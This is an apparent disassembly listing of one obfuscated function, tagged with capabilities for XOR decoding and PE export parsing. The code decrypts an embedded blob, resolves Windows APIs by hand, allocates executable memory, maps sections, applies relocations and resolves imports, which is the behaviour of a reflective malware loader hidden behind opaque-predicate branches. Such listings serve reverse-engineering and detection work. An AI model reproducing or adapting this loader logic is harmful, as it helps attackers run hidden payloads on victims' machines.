Function at 0x1800010d0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x180001102
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001102
nop
jmp 0x180001100
mov eax, 0x10
call entry0
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r12, rsp
mov esi, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180001142
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
je 0x180001142
nop
jmp 0x180001140
mov r9b, byte [section..data]
mov r8d, dword [0x180020a74]
mov r13d, dword [0x180020a78]
lea ecx, [r8 - 1]
imul ecx, r8d
mov dword [rbp - 8], ecx
test cl, 1
sete cl
cmp r13d, 0xa
setl dl
or dl, cl
mov r11b, byte [0x180004001]
mov r10b, byte [0x180004002]
mov ecx, dword [0x180020a70]
lea edi, [rcx - 1]
imul edi, ecx
test dil, 1
sete cl
cmp dword [0x180020a6c], 0xa
mov r14b, byte [0x180004003]
setl r15b
or r15b, cl
mov ecx, edx
xor cl, 1
cmp eax, 0xa
jl 0x1800011bc
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001220
mov byte [rbx], r9b
test dl, dl
je 0x180001220
mov byte [rbx + 1], r11b
je 0x180001220
mov byte [rbx + 2], r10b
test dl, dl
je 0x180001220
mov byte [rbx + 3], r14b
je 0x180001220
test r15b, r15b
jne 0x180001242
test dl, dl
je 0x180001230
je 0x180001240
test cl, cl
jne 0x180001240
jne 0x180001240
test cl, cl
jne 0x180001240
mov eax, 0x10
call entry0
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r12, rsp
mov eax, r13d
mov esi, r8d
test dl, dl
jne 0x1800011ac
jmp 0x180001140
jmp 0x180001220
jmp 0x180001230
jmp 0x180001240
mov r15d, dword [rbx]
test r15, r15
je 0x1800013b6
xor ebx, ebx
cmp r15d, 0x10
jb 0x18000132d
lea rax, [r15 - 1]
cmp rax, 0x400
jae 0x18000132d
mov ebx, r15d
and ebx, 0xfffffff0
lea rdx, [rbx - 0x10]
mov rax, rdx
shr rax, 4
add rax, 1
mov ecx, eax
and ecx, 1
test rdx, rdx
je 0x1800012f0
mov rdx, rcx
sub rdx, rax
xor esi, esi
lea rdi, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov eax, esi
and eax, 0x3e0
movups xmm1, xmmword [rax + rdi + 4]
movups xmm2, xmmword [rsi + rdi + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rsi + rdi + 0x414]
xorps xmm2, xmm0
movups xmmword [rsi + rdi + 0x404], xmm2
lea eax, [rsi + 0x10]
and eax, 0x3f0
movups xmm2, xmmword [rax + rdi + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rsi + rdi + 0x414], xmm1
add rsi, 0x20
add rdx, 2
jne 0x18000129f
jmp 0x1800012f2
xor esi, esi
test rcx, rcx
je 0x180001324
mov eax, esi
and eax, 0x3f0
lea rcx, section..data
movups xmm0, xmmword [rax + rcx + 4]
movups xmm1, xmmword [rsi + rcx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rsi + rcx + 0x404], xmm1
cmp rbx, r15
je 0x1800013b6
mov rax, rbx
not rax
test r15b, 1
je 0x180001361
mov ecx, ebx
and ecx, 0x3f0
lea rdx, section..data
mov cl, byte [rcx + rdx + 4]
xor cl, byte [rbx + rdx + 0x404]
xor cl, 0xc
mov byte [rbx + rdx + 0x404], cl
or rbx, 1
add rax, r15
je 0x1800013b6
lea rax, section..data
nop dword [rax]
mov ecx, ebx
and ecx, 0x3ff
movzx ecx, byte [rcx + rax + 4]
xor cl, byte [rbx + rax + 0x404]
xor cl, 0xc
mov byte [rbx + rax + 0x404], cl
lea ecx, [rbx + 1]
and ecx, 0x3ff
movzx ecx, byte [rcx + rax + 4]
xor cl, byte [rbx + rax + 0x405]
xor cl, 0xc
mov byte [rbx + rax + 0x405], cl
add rbx, 2
cmp r15, rbx
jne 0x180001370
cmp r13d, 0xa
jl 0x1800013d2
and dword [rbp - 8], 1
je 0x1800013d2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800013d0
lea r14, section..data
lea r10, [r15 + r14]
add r10, 0x404
mov eax, 4
mov rcx, r12
mov rdi, r10
movzx edx, byte [rdi]
mov byte [rcx], dl
mov esi, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp ebx, 0xa
jl 0x180001416
test edx, edx
jne 0x180001540
add rax, 0xffffffffffffffff
add rcx, 1
add rdi, 1
test rax, rax
jne 0x1800013ef
cmp dword [0x180020a6c], 0xa
jl 0x180001552
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001552
cmp ebx, 0xa
jl 0x180001456
test edx, edx
jne 0x180001550
movzx eax, byte [r15 + r14 + 0x404]
mov byte [r12], al
cmp dword [0x180020a78], 0xa
jl 0x180001481
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001530
movzx eax, byte [r15 + r14 + 0x405]
mov byte [r12 + 1], al
cmp dword [0x180020a78], 0xa
jl 0x1800014ad
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001530
movzx eax, byte [r15 + r14 + 0x406]
mov byte [r12 + 2], al
cmp dword [0x180020a78], 0xa
jl 0x1800014d5
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001530
movzx eax, byte [r15 + r14 + 0x407]
mov byte [r12 + 3], al
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ebx, 0xa
jl 0x180001501
test edx, edx
jne 0x180001530
mov eax, 4
mov rcx, r12
mov rdi, r10
cmp ebx, 0xa
jl 0x1800013ef
mov eax, 4
mov rcx, r12
mov rdi, r10
test edx, edx
je 0x1800013ef
jmp 0x1800013d0
jmp 0x180001530
jmp 0x180001540
jmp 0x180001550
add r10, 4
mov r9d, dword [r12]
test r9, r9
je 0x1800016b5
xor eax, eax
cmp r9d, 0x20
jb 0x180001690
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x180001690
lea rcx, [r15 + r14]
add rcx, 0x408
lea rdx, [r9 + r14]
add rdx, 4
cmp rcx, rdx
jae 0x1800015b9
lea rcx, [r9 + r15]
add rcx, r14
add rcx, 0x408
lea rdx, str.ydfTSTtEQFqZzYbDEIfLrGPtRuFYKTIRrkcABKlcLXjZtEMZDZXMOqCiTDzmShLUvbdfwOzXUKcJIdIGqscJmKfYPmauHEPSexXTdAUZySLQrIzaZtQZKCqMsLQekCAoRKKrqyZURcjXfmUOuSsTbfcfVEKVwQDujOfbVhTepoigfGyiSVbBlgDMVmqPGMcyQsaordeGtRBMmIqCPTPbQviePoretkzctzcSZpelEHXFpmXbjvVqBQaFJCPaDduJKudVbuokCBIuQKsmFXRLyfPZLOPLZKMiiHfYywEAxBohKyZcOfgafHDAjrMLJBxsiBsxjBSqFVxsnXJsSpjOiOXGRVlwCZsqlEQKQorSqOFTZdqSioaBltXudYZhRyolyjcWsQoaCvvvpnkKfYskkSZcTKZcDYzsDUxJIMuqpYIGVzbsGfHCrcBWPGxljVLLoCCAupqzhoWDUncQQkDolWxCxYnFSqhuWRfOaEiRnZugFBUKnYxyLWecdLagGIUFweBmpsyPVyBfOqGvHySEExIlVJwytabMoabDYMnyTVaKVhurpZazUAzxQveQqpfRAZwRwBygCKFbtbHDbDUvxCKrnkGjyhgaqlQWaXDhZevBtDTTpCiAAEyDMFzAIfZeuiWlQlTAiZjevPYegzjphGTZtAMeFLGaCcLwPglwmFTxsQqkdOBkHJXeqzlGRgTsjrVJLwTkwzFpTJnvpzZAPQKYpvwMfUBslQRznYDmbTpHXEcagczyBdfvkXEvihStJweKPcaIULZXwfvVodMGMacrUYDzyCcuncvHEznJZVvZZVCJMZHzgMuPShCPSOoDejRznGyjqWEaEHgDXymwIsxviWRWYvHkwFBqlSIHzfjfCAiUzZSKkzzExzvxPmmkixUdLArmJACobJMHzLWyuomnZRBQGVCFkDyercWmjcPVytUAijkOmrSBZHisfiDJcAgfxQqDQOjOKqZLpedbCTYHUyupLjlMPKQoRMtQxEkATLzLoXEeydhcgcElLpt
cmp rcx, rdx
jbe 0x1800015b9
xor eax, eax
jmp 0x180001690
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x180001654
lea rdi, [r15 + r14]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r14 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x1800015ed
jmp 0x180001656
xor esi, esi
test r8, r8
je 0x18000168b
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
movups xmm2, xmmword [r10 + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [r10 + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [r10 + rsi], xmm2
movups xmmword [r10 + rsi + 0x10], xmm0
cmp rax, r9
je 0x1800016b5
lea rdx, [r15 + r14]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r14 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x18000169b
cmp dword [0x180020a7c], 0xa
jl 0x1800016d2
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016d2
nop
jmp 0x1800016d0
add r15, 0x408
mov qword [rbp - 0x10], r10
movsxd rax, dword [0x180004440]
lea rsi, [rax + r14]
add rsi, 0x404
mov rdi, r10
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800016f2
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800016fe
mov r14, r13
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x18000170c
mov qword [rbp - 0x28], r14
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x18000171a
mov rbx, r14
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001727
mov r12, rbx
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001733
sub rsp, 0x20
mov rcx, rdi
call fcn.1800024c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001770
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d00
mov qword [rbp - 8], rdi
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800017a3
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d10
mov qword [rbp], rsi
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov esi, dword [rdi]
add rsi, r9
mov rdx, r13
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rdx]
movzx eax, byte [rsi]
test cl, cl
je 0x1800017e6
add rdx, 1
add rsi, 1
cmp cl, al
je 0x1800017d0
cmp cl, al
je 0x1800017f4
add rdi, 4
add r10, 2
jmp 0x1800017ba
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rbx
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x18000182e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d20
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000185d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d30
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rax, r14
nop dword [rax + rax]
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x180001896
add rax, 1
add rsi, 1
cmp bl, cl
je 0x180001880
cmp bl, cl
je 0x1800018a4
add rdx, 4
add rdi, 2
jmp 0x180001870
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r12
mov r8, r12
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.1800024c0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001907
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d40
movsxd rax, dword [r10 + 0x3c]
mov ebx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rbx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea rcx, section..data
jl 0x18000193d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d50
add r8, r10
mov edx, dword [r10 + rbx + 0x20]
mov r9d, dword [r10 + rbx + 0x24]
add rdx, r10
add r9, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r15 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001978
add rsi, 1
cmp al, bl
je 0x180001960
cmp al, bl
je 0x180001986
add rdx, 4
add r9, 2
jmp 0x180001950
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rsi, qword [rbp]
mov edx, dword [rsi + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r12, rax
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x180001d8a
test edx, edx
je 0x180001d8a
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rbp - 0x10]
mov rbx, rdx
jl 0x180001a09
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov rbx, rdx
and ecx, 1
jne 0x180001d60
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001a09
mov r13, rbx
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a15
mov rdi, r13
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001a23
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001a2c
mov r12, rdi
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001a38
mov r14, r12
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a47
sub rsp, 0x20
mov rcx, rbx
call fcn.1800024c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a82
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d70
mov qword [rbp - 8], rbx
mov qword [rbp], rsi
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001ab9
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d80
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov edx, dword [rsi]
add rdx, r9
mov rcx, r13
nop word cs:[rax + rax]
nop
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001af6
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001ae0
cmp al, bl
je 0x180001b04
add rsi, 4
add r10, 2
jmp 0x180001acc
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b3e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d82
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b6d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001d84
add r8, r10
mov esi, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add rsi, r10
add r9, r10
mov eax, dword [rsi]
add rax, r10
mov rbx, rdi
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001ba6
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001b90
cmp cl, dl
je 0x180001bb4
add rsi, 4
add r9, 2
jmp 0x180001b80
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.1800024c0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c18
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d86
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea r14, section..data
jl 0x180001c4e
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d88
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop dword [rax + rax]
lea rax, [r15 + rsi]
movzx eax, byte [r14 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001c89
add rsi, 1
cmp al, bl
je 0x180001c70
cmp al, bl
je 0x180001c97
add rdx, 4
add rcx, 2
jmp 0x180001c61
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + r14 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a7c], 0xa
mov r10, qword [rbp - 0x10]
jl 0x1800016dd
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016dd
jmp 0x1800016d0
jmp 0x180001d00
jmp 0x180001d10
jmp 0x180001d20
jmp 0x180001d30
jmp 0x180001d40
jmp 0x180001d50
jmp 0x180001d60
jmp 0x180001d70
jmp 0x180001d80
jmp 0x180001d82
jmp 0x180001d84
jmp 0x180001d86
jmp 0x180001d88
cmp eax, 0xa
jl 0x180001d95
test edx, edx
je 0x180001d95
jmp 0x180001d93
lea r11, [rsi + 0x108]
xor r8d, r8d
movzx edx, word [rsi + 6]
cmp r8, rdx
jae 0x180001ef5
mov edx, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea rax, [r8 + r8*4]
lea r9, [r11 + rax*8]
add r9, 0xc
lea r14, [r11 + rax*8]
add r14, 0x10
lea r10, [r11 + rax*8]
add r10, 0x14
cmp ebx, 0xa
jl 0x180001de8
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001ef1
mov r15d, dword [r14]
test r15, r15
je 0x180001e40
mov eax, dword [r10]
mov ecx, dword [r9]
add rcx, r12
lea rdx, section..data
lea rdi, [rax + rdx]
add rdi, 0x404
xor eax, eax
jmp 0x180001e18
add rax, 1
cmp r15, rax
je 0x180001e40
movzx edx, byte [rdi + rax]
mov byte [rcx + rax], dl
mov edx, dword [0x180020a74]
mov ebx, dword [0x180020a78]
cmp ebx, 0xa
jl 0x180001e0f
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
je 0x180001e0f
jmp 0x180001eed
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x180001ecf
test edi, edi
je 0x180001ecf
cmp ebx, 0xa
jl 0x180001e72
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001ef3
mov r15d, dword [r14]
test r15, r15
je 0x180001dd4
mov eax, dword [r10]
mov ecx, dword [r9]
add rcx, r12
lea rdx, section..data
lea rdi, [rax + rdx]
add rdi, 0x404
xor eax, eax
jmp 0x180001eaa
add rax, 1
cmp r15, rax
je 0x180001dd4
movzx edx, byte [rdi + rax]
mov byte [rcx + rax], dl
mov edx, dword [0x180020a74]
mov ebx, dword [0x180020a78]
cmp ebx, 0xa
jl 0x180001e9d
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
je 0x180001e9d
jmp 0x180001eef
add r8, 1
cmp eax, 0xa
mov rsi, qword [rbp]
jl 0x180001d9f
test edi, edi
je 0x180001d9f
jmp 0x180001d93
jmp 0x180001eed
jmp 0x180001eef
jmp 0x180001ef1
jmp 0x180001ef3
mov r11, r12
mov rdx, qword [rbp]
sub r11, qword [rdx + 0x30]
cmp eax, 0xa
jl 0x180001f12
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001f12
jmp 0x180001f10
mov rdx, qword [rbp]
mov ebx, dword [rdx + 0xb0]
add rbx, r12
movabs r8, 0x1fffffff8
cmp dword [rbx], 0
je 0x180002073
mov edx, dword [rbx + 4]
cmp rdx, 8
jb 0x180002039
cmp eax, 0xa
jl 0x180001f53
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
jne 0x180002067
add rdx, r8
shr rdx, 1
mov r9d, edx
xor r10d, r10d
cmp r10, r9
je 0x180002039
movzx esi, word [rbx + r10*2 + 8]
mov edi, esi
shr edi, 0xc
mov edx, esi
and edx, 0xfff
cmp esi, 0xa000
jae 0x180001fd0
cmp edi, 3
jne 0x180002010
cmp eax, 0xa
jl 0x180001fa0
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x18000206b
mov eax, dword [rbx]
lea rdx, [r12 + rdx*4]
add dword [rdx + rax*4], r11d
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jl 0x180002010
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
je 0x180002010
mov eax, dword [rbx]
add dword [rdx + rax*4], r11d
mov eax, dword [rbx]
jmp 0x180001fa6
cmp edi, 0xa
jne 0x180002010
cmp eax, 0xa
jl 0x180001fe9
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x18000206d
mov eax, edx
mov ecx, dword [rbx]
add rax, r12
add qword [rcx + rax], r11
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jl 0x180002010
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x18000206f
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x180002022
test edx, edx
jne 0x180002069
add r10, 1
cmp eax, 0xa
jl 0x180001f5f
test edx, edx
je 0x180001f5f
jmp 0x180002067
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x18000204b
test edx, edx
jne 0x180002071
mov edi, dword [rbx + 4]
add rbx, rdi
cmp eax, 0xa
jl 0x180001f29
test edx, edx
je 0x180001f29
jmp 0x180001f10
jmp 0x180002067
jmp 0x180002069
jmp 0x18000206b
jmp 0x18000206d
jmp 0x18000206f
jmp 0x180002071
mov rdx, qword [rbp]
mov edx, dword [rdx + 0x90]
mov qword [rbp - 0x10], rdx
mov edi, dword [r12 + rdx + 0xc]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
test edi, edi
je 0x1800023d5
add qword [rbp - 0x10], r12
lea rbx, [r12 + 2]
mov qword [rbp - 0x18], rbx
test dl, 1
je 0x180002402
cmp eax, 0xa
jl 0x1800020cc
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180002404
mov r14d, edi
add r14, r12
sub rsp, 0x20
jmp 0x1800020ed
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
mov rcx, qword [rbp - 8]
call fcn.1800024c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000211b
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023f2
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000214a
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800023f4
add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rbx, r9
add r10, r9
mov edi, dword [rbx]
add rdi, r9
mov rax, r13
movzx edx, byte [rax]
movzx ecx, byte [rdi]
test dl, dl
je 0x18000217b
add rax, 1
add rdi, 1
cmp dl, cl
je 0x180002165
cmp dl, cl
je 0x180002189
add rbx, 4
add r10, 2
jmp 0x18000215d
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
add rsp, 0x20
mov r15, rax
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea ebx, [rcx - 1]
imul ebx, ecx
cmp eax, 0xa
jl 0x18000226f
mov edx, ebx
and edx, 1
je 0x18000226f
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.1800024c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800021fd
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023f6
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000222c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800023f8
add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rbx, r9
add r10, r9
mov edi, dword [rbx]
add rdi, r9
mov rax, r13
movzx edx, byte [rax]
movzx ecx, byte [rdi]
test dl, dl
je 0x18000225d
add rax, 1
add rdi, 1
cmp dl, cl
je 0x180002247
cmp dl, cl
je 0x1800020d8
add rbx, 4
add r10, 2
jmp 0x18000223f
test bl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
je 0x1800023fa
mov rbx, qword [rbp - 0x10]
mov r14d, dword [rbx]
mov esi, dword [rbx + 0x10]
add r14, r12
add rsi, r12
jmp 0x1800022b4
add r14, 8
add rsi, 8
test bl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
cmp dl, 1
jne 0x1800023fa
mov rbx, qword [r14]
test rbx, rbx
je 0x1800023be
mov rax, qword [rbp - 0x18]
add rax, rbx
test rbx, rbx
movzx ecx, bx
cmovns rcx, rax
mov qword [rbp - 0x20], rcx
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.1800024c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002307
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023fc
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002336
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800023fe
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
